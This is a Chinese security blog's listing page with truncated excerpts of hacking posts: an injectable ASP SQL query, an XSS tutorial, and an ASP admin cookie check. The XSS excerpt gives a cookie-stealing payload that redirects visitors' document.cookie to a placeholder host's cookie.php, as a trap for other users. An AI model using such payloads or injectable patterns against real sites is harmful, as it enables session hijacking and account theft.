founder:小帅
转载请注明出处: 小帅's blog http://blog.0kee.com/xiaoshuai

<%
id=request("id")
postuser=request("postuser")
sql="select friend from clubuser where clubuser_name='&

[阅读全文]

比如发现一处可XSS地方：<script>alert(不管怎么样弹出就好)</script>  自己弄个偷cookie的文件。 目的是让其他浏览者去浏览我们设计好的陷阱 <script>document.location='http://URL.com/cookie.php?cookie=&#39;+escape(document.co

[阅读全文]

来源：Trace's Space

ad_chk.asp判断管理员登陆状态
<%
if Request.Cookies("venshop")("admin_name")="" or Request.Cookies("venshop")("admin_pass")=""

[阅读全文]